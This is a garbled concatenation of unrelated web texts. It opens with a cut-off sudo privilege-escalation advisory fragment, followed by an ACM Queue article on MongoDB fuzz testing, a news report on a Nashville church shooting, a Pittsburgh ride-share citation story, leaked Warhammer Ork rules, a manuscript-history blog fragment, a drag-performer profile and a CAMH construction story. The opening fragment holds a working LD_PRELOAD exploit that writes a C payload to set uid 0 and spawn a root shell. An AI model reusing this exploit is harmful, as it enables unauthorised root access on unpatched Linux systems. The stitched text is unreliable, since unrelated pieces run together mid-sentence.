However, in Sudo < 1.8.5, we found that environment variables passed in on the command line are not removed even though they should be. Thus we can still escalate our privileges using for example the LD_PRELOAD technique, as demonstrated below on a fully up-to-date Red Hat Enterprise Linux 5.10 system (only missing the recent security update of course):
$ rpm -q sudo sudo-1.7.2p1-28.el5 $ cat > xoxo.c <<'LUL' #include <unistd.h> #include <stdlib.h> void _init() { if (!geteuid()) { unsetenv("LD_PRELOAD"); unlink("/tmp/libxoxo.so.1.0"); setgid(0); setuid(0); execl("/bin/sh","sh","-c","cp /bin/bash /tmp
|
caught by the Mongo shell and cause it to terminate.
Neither the hang nor the assertion failure, however, are caused by bugs in MongoDB. They are just byproducts of a randomly generated test case, and they represent two classes of noise that must be filtered out of fuzz testing: branch logic and assertion failures.
Branch Logic
To guard against accidental hangs, our fuzzer simply takes out all branching logic via AST manipulation. In addition to while loops, we remove try/catch, break, and continue statements, do/while, for, for/in, and for/of loops. These language structures are defined in a static list.
Assertion Failures
For the assertion failures, every single line of generated test code is wrapped with a try/catch statement. All the logic will still be executed, but no client-side errors will propagate up and cause a failure.
After passing through this sanitizing phase, our earlier example now looks like this:
try {
assert(coll.update({}, {$set: {"a.654321" : 1}}))
} catch {}
So How Does the Fuzzer Catch Bugs?
Wrapping everything in a try/catch block keeps fuzzer-generated noise from overwhelming us with false positives, but it also prevents any bugs from surfacing through the client-side assertions our typical tests rely on. Indeed, a fuzzer has to rely on other mechanisms to detect the errors it provokes.
Tools for Generic Errors
The first set of tools are ones we're using anyway, for finding segmentation faults, memory leaks, and undefined behavior. Even without a fuzz tester, we would still be using these language runtime tools,3 such as LLVM's address sanitizer4 and undefined behavior sanitizer,5 but they become far more useful when a fuzzer is bombarding the test target with all its random input.
These tools are good for generic coding errors, but they don't validate that a program is behaving as expected by end users. To catch issues with business logic, our fuzzer relies on assertions within the testing target that check for conditions it shouldn't be in.
Assertions Within the System Under Test
Many applications make liberal use of asserts to guard against illegal conditions, but fuzz testing relies on them to catch application logic errors. It wreaks havoc in your codebase and assumes you have instrumented your application's components such that havoc is noticed.
For example, when acting as a secondary in a MongoDB replica set, mongod has an assertion to halt if it fails to write an operation.9 If a primary node logs a write for its secondaries, they had better be able to perform the write as well, or we'll wind up with serious data loss when failovers happen. Since these assertions are fatal errors, the testing framework immediately notices when fuzz tests trigger them.
The Limitations of Randomized Testing
This is really the only way that assertions can be used to catch errors provoked by randomly generated tests. Assertions in the target program can be oblivious to the tests being run; indeed, they must hold true under all circumstances (including when the program is being run by a user). In contrast, assertions within tests must be specific to the test scenario. We have already shown, however, that fuzzer-generated tests, by their nature, must not include fatal assertions. So under truly random conditions, a fuzzer will trigger no tailored assertions. This is a limitation of all randomized testing techniques, and it is why any good testing framework must not rely solely on randomized testing.
Triaging a Fuzzer Failure
Tests that perform random code execution and rely on target system assertions have some downsides: the problems they find have no predefined purpose; many of the operations within them might be innocuous noise; and the errors they produce are often convoluted. Failures observed at a particular line of the test might rely on a state set up by previous operations, so parts of the codebase that may be unrelated have to be examined and understood.
Thus, fuzzer failures require triage to find the smallest set of operations that trigger the problem. This can take significant human intervention, as with the known issue17 where calling cursor.explain() 6 with concurrent clients causes a segmentation fault. The test that provoked this issue used a dozen clients performing different operations concurrently, so besides understanding which state the operations in the test set up, log messages from all the client and server threads had to be inspected manually and correlated with each other.
All this work is typical of triaging a fuzzer test failure, so we built a set of features that help developers sift through the chaos. These are specific to testing a MongoDB cluster across the network using JavaScript but can be used as inspiration for all fuzzing projects.
We're only interested in the lines of code that send commands to a MongoDB server, so the first step is to isolate those. Using our trusty AST manipulator, we add a print statement after every line of fuzzer code to record the time it takes to run. Lines that take a nontrivial amount of time to run typically run a command and communicate with the mongodb server. With those timers in place, our fuzz tests look like this:
var $startTime = Date.now();
try {
// a fuzzer generated line of code
} catch (e) {
}
var $endTime = Date.now();
print('Top-level statement 0 completed in', $endTime - $startTime,'ms');
var $startTime = Date.now();
try {
// a fuzzer generated line of code
} catch (e) {
}
var $endTime = Date.now();
print('Top-level statement 1 completed in', $endTime - $startTime,'ms');
// etc.
When we get a failure, we find the last statement that completed successfully from the log messages, and the next actual command that runs is where the triage begins.
This technique would be sufficient for identifying the trivial bugs that can cause the server to crash with one or two lines of test code. More complicated bugs require programmatic assistance to find exactly which lines of test code are causing the problem. We bisect our way toward that with a breadth-first binary search over each fuzzer-generated file. Our script recursively generates new tests containing each half of the failed code until any further removal no longer causes the test to fail.
The binary search script is not a cure-all, though. Some bugs do not reproduce consistently, or cause hangs, and require a different set of tools. The particular tools will depend entirely on your product, but one simple way to identify hangs is to use a timer. We record the runtime of a test suite, and if it takes an order of magnitude longer than the average runtime, we assume it has hung, attach a debugger, and generate a core dump.
Through the use of timers, print statements, and binary search script, we're able to triage the majority of our failures quickly and correctly. There's no panacea for debugging—every problem is new, and most require a bit of trial and error to get right. We are continuously investing in this area to speed up and simplify failure isolation.
Running the Fuzzer in the CI System
Fuzz testing is traditionally done in dedicated clusters that run periodically on select commits, but we decided to include it as a test suite in our CI framework, Evergreen. This saved us the effort of building out a new automated testing environment and saved us from dedicating resources to determine in which commit the bug was introduced.
When a fuzzer is invoked periodically, finding the offending commit requires using a tool such as git-bisect.2 With our approach of a mutational fuzzer that runs in a CI framework, we always include newly committed tests in the corpus. Every time the fuzzer runs, we pick 150 sets of a few dozen files from the corpus at random and run each one through the fuzzer to generate 150 fuzzed files. Each set of corpus files always includes new logic added to the codebase, which means the fuzzed tests are likely testing new code as well. This is a simple and elegant way for the fuzzer to "understand" changes to the codebase without the need for significant work to parse source files or read code coverage data.
When a fuzz test causes a failure, the downstream effect is the same as any other kind of test failure, only with the extra requirement of triage.
The Fuzzer: Your Best Friend
Overall, the fuzzer has turned out to be one of the most rewarding tools in the MongoDB test infrastructure. Building off our existing suite of JavaScript tests, we were able to increase our coverage significantly with relatively little effort. Getting everything right takes time, but to get a basic barebones system started, all you need is a set of existing tests as the corpus, a syntax-tree parsing for the language of your choice, and a way to add the framework to a CI system. The bottom line is that no matter how much effort is put into testing a feature, there will inevitably be that one edge case that wasn't handled. In those face-palm moments, the fuzzer is there for you.
References
1. Acorn; https://github.com/ternjs/acorn.
2. Chacon, S., Straub, B.. Git-bisect; https://git-scm.com/book/en/v2.
3. Clang 3.8 Documentation. Using Clang as a compiler; http://releases.llvm.org/3.8.0/tools/clang/docs/index.html#using-clang-as-a-compiler.
4. Clang 3.8 Documentation. AddressSanitizer; http://releases.llvm.org/3.8.0/tools/clang/docs/AddressSanitizer.html.
5. Clang 3.8 Documentation. UndefinedBehaviorSanitizer; http://releases.llvm.org/3.8.0/tools/clang/docs/UndefinedBehaviorSanitizer.html.
6. Cursor.explain(). MongoDB Documentation; https://docs.mongodb.com/manual/reference/method/cursor.explain/.
7. Déjà vu Security. 2014. Generation fuzzing. Peach Fuzzer; http://community.peachfuzzer.com/GenerationMutationFuzzing.html.
8. Erf, K. 2016. Evergreen continuous integration: why we reinvented the wheel. MongoDB Engineering Journal; https://engineering.mongodb.com/post/evergreen-continuous-integration-why-we-reinvented-the-wheel/.
9. GitHub. MongoDB; https://github.com/mongodb/.
10. Godefroid, P., Levin, M. Y., Molnar, D. 2012. SAGE: whitebox fuzzing for security testing. Communications of the ACM 55(3): 40-44; http://courses.cs.washington.edu/courses/cse484/14au/reading/sage-cacm-2012.pdf.
11. Guo, R. 2016. Mongos segfault when invoking.explain() on certain operations. MongoDB; https://jira.mongodb.org/browse/SERVER-22767.
12. Guo, R. 2016. $push to a large array fasserts on secondaries. MongoDB; https://jira.mongodb.org/browse/SERVER-22635.
13. Kamsky, A. 2016. Update considers a change in numerical type to be a noop. MongoDB; https://jira.mongodb.org/browse/SERVER-16801.
14. McCloskey, B., et al. 2015. Parser API. Mozilla Developer Network; https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Parser_API#Expressions.
15. Nossum, V., Casasnovas, Q. 2016. Filesystem fuzzing with American Fuzzy Lop. Oracle Linux and VM Development—Ksplice Team; https://events.linuxfoundation.org/sites/events/files/slides/AFL filesystem fuzzing, Vault 2016_0.pdf.
16. Ruderman, J. 2007. Introducing jsfunfuzz. Indistinguishable from Jesse; https://www.squarefree.com/2007/08/02/introducing-jsfunfuzz/.
17. Siu, I. 2016. Explain("executionStats") can attempt to access a collection after it has been dropped. MongoDB; https://jira.mongodb.org/browse/SERVER-24755.
18. Storch, D. 2016. MongoDB, jstests. GitHub; https://github.com/mongodb/mongo/tree/r3.3.12/jstests.
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Robert Guo is a software engineer on the MongoDB server team, focusing on data consistency and correctness. He has been working on MongoDB's JavaScript fuzzer for the past two years.
Copyright © 2017 held by owner/author. Publication rights licensed to ACM.
Originally published in Queue vol. 15, no. 1—
see this item in the ACM Digital Library
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© 2018 ACM, Inc. All Rights Reserved.CLOSE Police say Emanuel Kidega Samson opened fire at a church in Antioch, TN video by Michael Schwab/Tennessean
Emanuel Kidega Samson, 25, was charged with criminal homicide in a shooting at Burnette Chapel Church of Christ in Antioch, Tenn., on Sunday, Sept. 24, 2017. (Photo: Provided by Metro Nashville Police via The Tennessean)
NASHVILLE — The Tennessee man police say brazenly opened fire on a Nashville-area church Sunday morning, killing one and seriously injuring seven others, admitted to police he opened fire on the church, according to new court documents.
Emanuel Kidega Samson, 25, of La Vergne, Tenn., told police during an interview that he arrived at the church at 10:55 a.m. and that he was armed with a handgun and "fired upon the church building," a police affidavit shows.
Samson, who left his vehicle running outside Burnette Chapel Church of Christ and wore a mask while wielding two pistols, was shot during a daring confrontation with churchgoer Robert "Caleb" Engle, a 22-year-old described by police as a "hero."
Prior to the shooting, Samson made several cryptic Facebook posts, one alluding to a sudden attack.
More: Nashville church shooting victim 'laid quietly and played like I was dead'
Samson, who according to his Facebook page, is originally from Sudan, wrote “Everything you've ever doubted or made to be believe as false, is real. & vice versa, B.”
Two photos posted Sunday morning showed Samson flexing his muscles accompanied with the words "unrestricted paroxysm." Paroxysm means a sudden attack or violent expression of emotion.
Samson also posted on his Facebook page: “Become the creator instead of what’s created. Whatever you say, goes.”
He added, “You are more than what they told us.”
According to the affidavit, multiple witness observed Samson entering the church in Antioch with a handgun and firing randomly at parishioners.
Several people were shot before Samson was subdued, the affidavit states. When officers arrived on the scene, they discovered Melanie Smith, 39, dead in the parking lot.
Multiple witnesses told police they heard gunshots from the parking lot moments before the defendant entered the church.
Samson, charged with criminal homicide, remained jailed Monday morning without bond.
More: Gunman opens fire in Nashville church; 1 dead, 8 hurt
He is due in Davidson County (Tenn.) General Sessions court Wednesday for a hearing on his case.
An early public records request yielded no criminal record for Samson.
Nearly three months ago, he sent a troubling text to his father: "...I have a gun to my head..."
In addition to the suicide incident, Samson also had two domestic disputes in Murfreesboro, Tenn., with a woman that resulted in calls to police, but no arrests, police documents reveal.
According to a Murfreesboro Police Department report June 27, Samson's father called police after he received the texts from his son.
Police went to Samson's Murfreesboro apartment, but he wasn't there, according to the report. Police pinged his phone, which indicated he was in Nashville. Nashville police were notified.
Domestic violence reports
In January, Samson's girlfriend called Murfreesboro police to report a domestic dispute with Samson.
According to the Jan. 29 report: “They argued in her bedroom and at one point he turned away from her and punched a small TV on her desk, breaking it. He also broke a small figurine. His hand was cut when he punched the TV and there was blood on the floor,” Murfreesboro Police Officer Hayley Alden reported.
The woman declined to obtain a warrant for the vandalism, which had an estimated value of under $1,000.
Another report involving the same girlfriend was filed by a police officer in February.
At that time, Samson reported that the woman arrived at his apartment uninvited and began banging on his door to gain entry. When he tried closing his door, "she tried to push the door back open," according to the report filed by Officer Benjamin Leibach. "He stated that he was in fear because she has struck him in the past."
Both parties reported that no threats or assault were made in that incident.
Police say a motive in Sunday's shooting is not immediately known.
The mass shooting occurred shortly after the service ended. In the chaos, many of the 42 churchgoers screamed while some ducked under church pews and others pretended to be dead.
CLOSE Families unite after the shooting at the church in Antioch
Church minister Joey Spann shouted for congregants to run.
But most were senior citizens. "They didn't make it out," said Minerva Rosa, who was inside the church during the attack.
Police said Samson is a legal U.S. resident but not a citizen. He moved to the U.S. in the 1990s, police spokesman Don Aaron said.
Members of Burnette Chapel Church of Christ did not recognize Samson on Sunday because he wore a mask, but later told police he used to attend church services there.
"He actually had attended this church a year or two years ago," said Aaron. "They said he hasn't been there in quite a while. They couldn't be more definitive on that, but they actually knew him."
Among those injured were the pastor, Spann, and his wife. In addition to being a pastor, Spann teaches Bible classes at Nashville Christian School and coaches the school's middle and high school girls basketball teams.
Contributing: Holly Meyer, Joel Ebert, Natalie Allison and Anita Wadhwani, The Tennessean; Mariah Timms and Scott Broden, The (Murfreesboro, Tenn.) Daily News Journal. Follow Natalie Neysa Alund Nate Rau on Twitter: @nataliealund and @tnnaterau
Read or Share this story: https://usat.ly/2xuM2MSNearly two dozen drivers of the controversial app-based ride services Lyft and Uber are facing tickets for operating without approval from the Pennsylvania Public Utility Commission, officials said on Wednesday.
Court records show 23 citations were filed on Tuesday at District Judge Eugene Riccardi’s office in the South Side. A PUC compliance officer cited the drivers between March 31 and April 21 by taking a variety of rides, including pickups at the Wyndham Grand, Rivers Casino and Station Square.
The drivers receiving tickets range in age from 24 to 77 and live throughout the region.
Ticketed drivers could not be reached for comment or did not return calls.
“We’re willing to work with the companies, but we do have existing regulations we have to enforce,” PUC spokeswoman Jennifer Kocher said.
The citations are the first in the state against drivers for those companies since they began operating in Pittsburgh in February, Kocher said. Court officials said the cited drivers will receive tickets in the mail.
Spokeswomen for Lyft and Uber said they were unaware of citations issued to their drivers.
Lyft spokeswoman Paige Thelen said the company would cover the cost of potential fines connected to the citation.
“Absolutely, we stand behind our drivers,” Thelen said.
Uber spokeswoman Natalia Montalvo said the company “will stand behind our partners and will work with the issuing authority to resolve” the tickets.
She wouldn’t clarify if that meant the company would cover the cost of potential fines.
The revelation of the tickets happened on the same day that Yellow Cab Co. president Jamie Campolongo met with Pittsburgh Mayor Bill Peduto to discuss the app-based businesses. Peduto has been supportive of Lyft and Uber, and has asked the PUC to amend its regulations to allow the companies to operate. Lyft and Uber have license applications pending with the PUC, Kocher said.
Peduto said through a spokesman that the meeting was productive.
“We decided to work together to work through statewide ride-sharing legislation for everyone. The reality is it is here to stay, and we should welcome ride-sharing as long as there are common sense safety rules,” Peduto said. “This is not meant to be unfair to any provider. Government has a public safety role to require people are adequately protected — through inspections, insurance and background checks.”
Peduto’s spokesman Tim McNulty said he was unaware of the citations, but city officials will review the matter.
PUC enforcement officers operate independently of city and state police.
Campolongo has been critical of Uber and Lyft, saying they are violating PUC regulations. His company has a similar app-based business application pending with the PUC called Yellow X, although he says he won’t operate without PUC approval.
“We’re not trying to close out everyone from the market as long as everyone is playing on the same level playing field,” Campolongo said.
Among other issues Campolongo said he discussed with the mayor were plans for a permanent taxi stand at the corner of South 16th and East Carson streets to alleviate traffic issues during busy times on the South Side.
Lyft and Uber provide rides from drivers using their own cars and pick up customers based on real-time requests sent through a smartphone app. Lyft drivers attach a pink moustache to their grill for identification.
Bobby Kerlik is a staff writer for Trib Total Media. He can be reached at 412-320-7886 or [email protected] someone let the cat out of the bag. From Warseer (points have been obscured in original post because Warseer is anal):
Alternate FOC
3 HQ, 9 Troop, 3 Heavy, 3 Fast, 3 Elite. Minimum is 1 HQ 3 TROOP.
This is OPTIONAL instead of the standard FOC, you can still use the core books one.
HQ
No Wazdakka, no Zogwort.
Snikkrot- doesn’t take a slot if taken with Kommandos.
Badrukk- 11* pts. 3+, 5++, str 7 AP2 assault 3 gun.
Grotsnik- Gives fearless, rampage and FNP.
Painboy- 5* pts, nob stats, urty/slugga. Confers FNP.
Weirdboy- only option is ml 2. +1 charge if there is at least 10 boys or orks with the ere we go rule nearby (this doesnt stack for multiples of 10). Cheaper, and his ml2 is also cheaper. Ork powers and Daemonology.
Frazzle (1 WC, primaris)
Ead Banger (1 WC)
Warpath (1 WC)
Da Jump (1 WC)
Kill Bolt (2 WC) 18 inch str 10 ap 2 beam
Power Vomit (2 WC) Str 7 AP2 template
Da Krusha (2 WC) Str 2D6 Large Blast, if you roll a over 10 you hit everything twice at str 10
Warboss- 6* pts. klaw and big choppa same cost. Boss pole allows a reroll on the mob table when you fail morale. Same statline, Slugga, Choppa, Stikkbombs. Can take ‘eavy armour, mega armour, TL shoota and PK. May select items from: Ranged weapons list, Melee weapons list, Runts&Squigs list, Orky…
Big mek- gets access to mek gear (kmb, kms, kombis, rokkit, etc), or can take mega armour. Still has relic, shooting weapon, accessories etc access (full list), but can take a kill saw. Non mega big mek can take SAG or KFF (also has bike access in the know wots menu). Mega Mek can take KFF or
HQ Mek is literally the same as a mek in a unit, and must be put into an artillery or infantry unit before start of game.
A Big Mek with mega armour can take one of the following:
– Tellyport blasta
– Kustom force field
ELITE
Nobz- *8 pts. Bikes in the Nob unit are +*7 point upgrade. Nob Bikers are the same points as before (but nobs themselves cheaper), Eavy Armour got a point cheaper on the Nobz.
Manz- Kill saw is 1* points for the pair for mega nobz, replaces both weapons.
Waagh banner is 2* pts. Trukk or Battlewagon for the Mega Nobz. 4* pts/model.
Tank bustas- 6* pts. 2 pts/model cheaper. melta bombs, tank hunter, glory hogs- 2 vps for first blood on a tank, Tankhammer- str 8 AP3, unwieldy. 2 pt decrease/model. Bomb squig- Wargear, str 8 AP 4 can buy up to 3, works same as before, no risk to own unit. No longer have to shoot at nearest tank.
Burna boyz- 8* pts. Unchanged.
Kommandos- Price drop. move through cover, stealth and infiltrate, stikkbombs, no shootas. Can take 2 burnas as one of their special weapons, however they can only take 2 in a mob. May include Snikkrot (doesnt take a slot if taken with Kommandos otherwise HQ) (shrouded on arrival, you pick an edge to outflank dont roll) Snikrot causes fear.
TROOPS
Ork boyz – 6* pts. +1 pt each for shootas. Units can pay for ‘eavy no longer restricted to 1 per army. One in 10 can take special weapon (Same but rokkit cheaper than it used to be). One model may be a Nob, may select from Ranged or Melee weapons list.
Gretchin- Runtherd comes with Grabba stick, can buy squig hound. If the unit breaks the hound causes D3 str 3 hits on the unit, and can then reroll the morale test.
Grot prod can exchange its attacks for a single double strength attack. AP –
Grabba reduces the enemies attacks by one
No special rules, at all
FAST
Stormboyz- For 30 points more than the old mob you get 30 Stormboys now. Jump Infantry, can run 2D6 instead of one but take dangerous terrain tests doing so. No longer blow themselves up.
Zagstruk- 6* pts. Slugga, choppa, eavy, stikkbombs, cybork, rokkit pack. 1 Less Wound, 1 Less Toughness than a Warboss. Hammer of wrath is str 8 AP2. Cant assault from deepstrike but is a HQ choice.
Deffkoptas- 3* pts each, 5 pt reduction. both its gun changes are now free. Other points stay the same
Buggies- 2* points, 5 pt reduction, up to 5, outflank. Skorcha same cost as before, trakk is a 5 point upgrade.
Warbikers- 1* pts, 7 pt reduction, no exhaust save, get +1 cover if they turbo boost now, otherwise no improved cover at all.
Dakkajets and blitza bombas- maxed out burna bommer now costs 180pts with red paint job. A maxed out blitza-Bommer cost 140pts with red paint job.
Dakka jet guns now only fire one more shot than normal on a Waaagh, not everything twice.
Blitza Bombs: 2D6, on a 2 you crash, 3 you and your target take a str 9 AP 2, otherwise you hit, with 12 meaning you can shoot your guns aswell. (str 7 AP2, large blast armour bane, one use only).
Burna Bombs str 5 AP4 large blast ignore cover. Skorcha Missiles str 5 AP4 small blast ignores cover.
HEAVY
Looted wagon- (found in WD not codex). 3* pts, 2 pt increase. 3 weapon upgrades all 5 pts each. Killkannon 30 pts.
Battlewagon- 11* pts. 20 pt increase. Kill kannons 30 pts reduce capacity by 8. Deff Rolla 10 pts.
Big gunz-
Lootaz- 7* pts. 5 pt reduction. Everything else same.
Killa Kans- got more expensive. 25% more expensive for the big shoota variant. Kans now panic when 25% have died, if they fail a roll they are all shaken due to the grots ******* out.
Deff Dread- 8* Points, 5 pt increase, comes with 2 big shootas, rokkits are a free exchange. KMB are +5 point Exchange. Riggers are 10 points confer IWND. For the price of an old Deff Dread with 2 x Rokkits you can get a new Deff Dred with 2 x Kustom Mega Blastas and Grot Riggers.
Flash gitz-
Gorka/Morkanaughts- arent assault vehicles and have no options to become one.
DT
Trukk- 3* points. 5 pt reduction. Ramshackle- changed, now when you take a penetrating hit roll a D6, on a 6 that hit is now downgraded to a glancing hit. Dedicated transports available for burnas and tank bustas now.
Wreckin ball is a 3 inch range str 9 ap 4 D3 weapon.
Boarding planks- +2″ on the charge the turn you disembark from an open topped vehicle with a plank
Deff Rolla- 10 pts. D3 instead of D6 hits now AP 4.
Red paint Job- +1 inch to flat out moves.
LOW
Ghazkul- Same cost, is eternal warrior. His warlord trait makes boyz within 12 inches fearless in a waaagh. Only one waaagh per game unless you are running a specific formation (which ghaz isnt in, so irrelevant sorry)
WARGEAR
Melee Weapons
Klaw- unchanged.
Kill Saws- armour bane.
Choppas- are just CCW.
big choppas- +2 str AP 5.
Ranged Weapons
twinlinked shootas and kombis
Runts & Squigs
surgical grot- reroll fnp
ammo runt- reroll shooting to hit
attack squig- reroll cc to hit
grot oiler-
Orky Know-wots
Bike- Painboy’s and Warbosses bike is 25 pts, a nob’s bike is 27 pts.
Cybork- fnp 6+
Boss pole- reroll chart result.
Gitfinda- BS 3 if stationary.
Waaagh banner- +1 WS.
Zapp gun- 2D6, gets hot on a 1-3 if you roll 11 or 12
KFF- price hasnt changed. KFF is 5++ if embarked than vehicle gets this INSTEAD, explicitly just shooting. KFF can be combined with mega armour and bikes.
Shock attack gun- seems to be combinable with bikes. Double 6 is vortex.
Teleporta Blasta- small blast str 8 ap2, on a 6 its insta death or insta pen.
Grot riggas- IWND (5 points on Kans, 10 on dreds)
Weapons arent exchanged for many of the options on characters, the warboss for example reads “May take items from the Ranged Weapons, Melee Weapons, Runts & Squigs, Orky Know-wots and/or Gifts of Gork and Mork list”
There are other bits that do exchange weapons (taking mega armour for example). Relics are one of each per army (but can take multiple different ones)
RELICS
Da Ded Shiny Shoota – Assault 6 Shoota, twinlinked, rolls of 1 richochet into friendly units.
Lucky Stixx – Can choose to reroll failed hit, wound or saving throws, if 3 of these rerolls fail in a single turn the model is removed.
Warboss Gazbag’s Blitzbike – Bike, Assault 3, AP 3, Str 6 twinlinked shots.
Headwoppa’s Killchoppa – Str +2, AP5, rending, two handed, rolls of 6 are instant death.
Da Finkin Kap – Warlord gets a strategic trait along with his normal warlord trait.
Da Fixer Upperz – repair vehicles on 3+ (hull points, weapon destroyed or immobilised).
ORK OBJECTIVES
Shoot an enemy unit off the board, Kill the enemy warlord in a challenge with your warboss, destroy an enemy unit in your assault phase (more units gone, more points), Turbo boost 3 vehicles (or bike units), secure a random objective (roll a D6), Charge more than 10 inches.
D6 Warlord Trait
1 Prophet of the Waaagh!:
The Warlord gains the Waaagh! special rule. If the Warlord already has the Waaagh! special rule then, in addition to the usual effects, all friendly models with the ’Ere We Go! special rule gain the Fearless special rule when he calls a Waaagh!, until the start of their next turn.
2 Bellowing Tyrant:
The Warlord, and all friendly units with the Orks Faction within 12″ of him, re-roll failed Morale checks and Pinning tests.
3 Like a Thunderbolt!:
The Warlord, and all friendly units with the Orks Faction within 12″ of him, can re-roll all the dice when determining Run moves or charge range.
4 Brutal but Kunnin’:
The Warlord can re-roll one failed To Hit or To Wound roll each turn.
5 Kunnin’ but Brutal:
The Warlord can re-roll one failed armour or invulnerable saving throw each turn.
6 Might is Right:
The Warlord receives +1 to the Strength characteristic on his profile.
Mob Rule Chart (name?):
D6 Result
1
If the unit is locked in combat, it passes the Morale check or Pinning test. If the unit is not locked in combat, it fails.
2-3
If the unit includes one or more Ork characters (including Independent Characters), it suffers D6 Strength 4 AP- hits, and is then treated as if it had passed the Morale check or Pinning test.
4-6
If the unit has 10 or more models, it suffers D6 Strength 4 AP- hits, and is then treated as if it had passed the Morale check or Pinning test. The hits are Randomly Allocated. If the unit has fewer than 10 models, it fails the Morale check or Pinning test.By Anke Timmermann
There are certain things that even the most innocent manuscript scholar cannot avoid, among them dirty books. This post will discuss the traces that careless readers have left on manuscript pages since they were first filled with writing: smudges and splodges created through physical contact between books and readers. Blemishes and damaged manuscripts have occurred to me recently in different guises as I was tracing alchemy across Cambridge manuscript collections. The following three observations may amuse and inspire the current audience – not least because they connect codices with bread, cheese and other foodstuffs.
Bad And Good Dirt
Richard de Bury, cleric, bibliophile of the early fourteenth century and author of a book-lover’s guide to books, wrote passionately about the correct handling of codices. Books were meant to be seen but not touched. In the appropriately entitled Philobiblon, de Bury exemplifies readers’ common if damaging behaviour in the figure of ‘some headstrong youth’:
He does not fear to eat fruit or cheese over an open book, or carelessly to carry a cup to and from his mouth; and because he has no wallet at hand he drops into books the fragments that are left.
Many modern users of libraries observing fellow-readers will find this scenario familiar.
But in recent years scholarship has made visible previously hidden signs of historical book usage. An excellent article of 2010 demonstrates the use of a densitometer, ‘a machine that measures the darkness of a reflecting surface’, e.g. for revealing traces of medieval readers’ kisses of saints’ images.[1] One can only imagine, and deduce from obvious stains, what a similar analysis of recipe books would uncover.
Medieval Bread and Books
Dirt on book pages did not need to wait for modern technology to be noted. Late medieval book owners remarked upon and tried to find solutions for the appearance of unwanted substances on their manuscript pages. Recently discovered examples include paw prints and bodily fluids left by cats in manuscripts, but after the fact, at a stage when these manuscripts were beyond hope of cleaning.[2]
I was, therefore, delighted to find the following instruction for cleaning books in a
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on Fat Tuesday.
In almost 10 years in New York City, Bianca has become one of the more popular drag performers, though perhaps not on the same level as in New Orleans. In noting her performances with another popular drag artist, Lady Bunny, at the Hot Mess Revue at New York club BPM, longtime culture critic Michael Musto dubbed her "Lisa Lampanelli with a penis" in Out magazine.
She now has a manager and a publicist, and, thanks to "Drag Race," is traveling the gay circuit around the country.
Her ubiquity, and mouth, has gotten her the kind of attention that can happen only in the era of viral sensations, her bawdy sense of humor matching that of the show’s for a few delicate moments.
Earlier in the season, pushback from the transgender community forced the show to drop the section of the show dubbed "You've Got She-Mail," a pun on the term "she-male" used to describe transvestites and pre-transition transsexuals. Bianca didn't see the big deal, but understands the decision.
“I stand by anything that Logo decided to do. It’s their show, and they understand the situation,” Bianca said. “I look at things completely differently. It’s not ‘Meet the Press.’ It’s a drag competition. I didn’t think in my personal opinion that it’s derogatory or hateful. I look at it as a play on the word. What’s next? ‘Squirrelfriends’?
“You can’t say anything anymore,” she continued. “For people to think that Ru was being hateful don’t understand her or the show. I have friends who are transgendered, of course, but nobody who I knew took offense.”
Bianca found herself in the spotlight, at least online, when a video surfaced from one of her shows chastising a member of the audience who was criticizing her characterization of Latinos as offensive. (As I noted in a 2002 piece for Gambit, Haylock was born in Gretna to a Cuban-born mother and a Honduran-born father.)
Search for the video at your own peril, but, basically, Bianca doubles down with the insults, to the delight of the rest of the crowd.
“You go out of town and people may not like your sense of humor. The guy in the video dug his own grave. And I just unleashed the demons,” she said, laughing. “I mean, if you’re looking for something that magical, you don’t spend your Monday night at a drag show. It’s not a theatrical art piece. Instead of questioning me, question yourself. I let him have his peace, and then I said what I said.”
But then, she conceded, “I didn’t realize it was being filmed by 10 different people in the club. I woke up, traveled to the next city and it was everywhere.
“Everything you do becomes viral. I have to own up to it.”
She insists that this is the kind of humor that allows everyone to feel as good about themselves as they want. Ironically, it seems like a drag show is the last place where the old vaudeville, insult-comic culture still breathes freely — for now.
“Look, you can be a white person with hideous shoes. Your shoes are ugly no matter what the (heck) you are. Laugh at yourself,” she said. “It’s not so much that I’m right and you’re wrong. It’s about lightening the (heck) up.”
Viral blushes aside, no matter what happens on “RuPaul’s Drag Race,” Bianca Del Rio’s career remains on the rise, even if for now it’s just as an in-demand club performer across the United States. She easily possesses the screen presence to find a place on some kind of TV show, or more expanded presence on the New York stage (beyond the clubs). She admits to getting some nibbles, but nothing definite. For now, she’s kicking around her own full-fledged cabaret act and an independent film with a friend. As usual, nothing’s planned.
“I have tons of options, but right now I’m riding the wave of this show,” she said. “All of the things you do can lead to something else. It is somewhat risky when you’re a drag queen that people can look at you as a one-note. But people can see what all you can do on this show. Being a drag queen is one quarter of my life. It’s not my secret desire to be a girl.
“I am not a dreamer. I don’t know what I want but I do know what I don’t want.”
Editor's note: Bianca Del Rio was incorrectly quoted as saying, "For me personally, I don't have a lot a lot of respect for her" in reference to "Drag Race" rival Courtney Act. She said, "For me personally, I do have a lot of respect for her...." The correction has been made in the text.
***
Got an entertainment story to share? Email David Lee Simmons at [email protected] or call 504.352.2539. Follow him on Twitter (@davidlee504) or Instagram (@dlsnola).| by Greg Lipinski |
A proponent team has been awarded a contract for the development of Toronto's CAMH Phase 1C on Toronto's West Queen West. Infrastructure Ontario and the Centre for Addiction and Mental Health (CAMH) have selected a consortium named 'Plenary Health CAMH' to carry out the development of two new buildings within CAMH's 27-acre Queen Street campus, which is bounded by Shaw Avenue on the east and White Squirrel Way on the south and west ends.
Providing a combined total of 655,000 ft² of new space, the two buildings—both 7 storeys tall—will complement the enhanced medical facilities with new retail fronting Queen, while creating new publicly accessible space at street level. The two new buildings will rise on either side of CAMH's existing Queen West facility. 1C East (below, left) will effectively wrap around CAMH's existing Labbatt Family Wing, while 1C East (right) will replace much of CAMH's existing green space—dotted with surface parking and temporary buildings—west of Gordon Bell Road.
Aerial rendering of the CAMH site plan, image courtesy of Stantec Architecture Inc
The companies involved in the 'Plenary Health CAMH' team include Plenary Group Canada and PCL Investments Canada, acting as the developers, with Stantec as architects of record. The design/build contract has been given to PCL Constructors Canada, while ENGIE Services will be the facility manager. Lastly, the Plenary Group will be acting as the Financial advisor in the project. The valued contract of approximately $685 million will be used for payments during construction, payment of substantial completion, and monthly service payments.
Rendering of the CAMH Phase 1C east block, image courtesy of Stantec Architecture Inc
Within the new space, inpatient and outpatient services will be provided, with a total of 235 new inpatient beds planned for the two buildings. Meanwhile, the emergency department will also be relocated to the Queen Street site from the College Street facility—where emergency services were expanded in 2014.
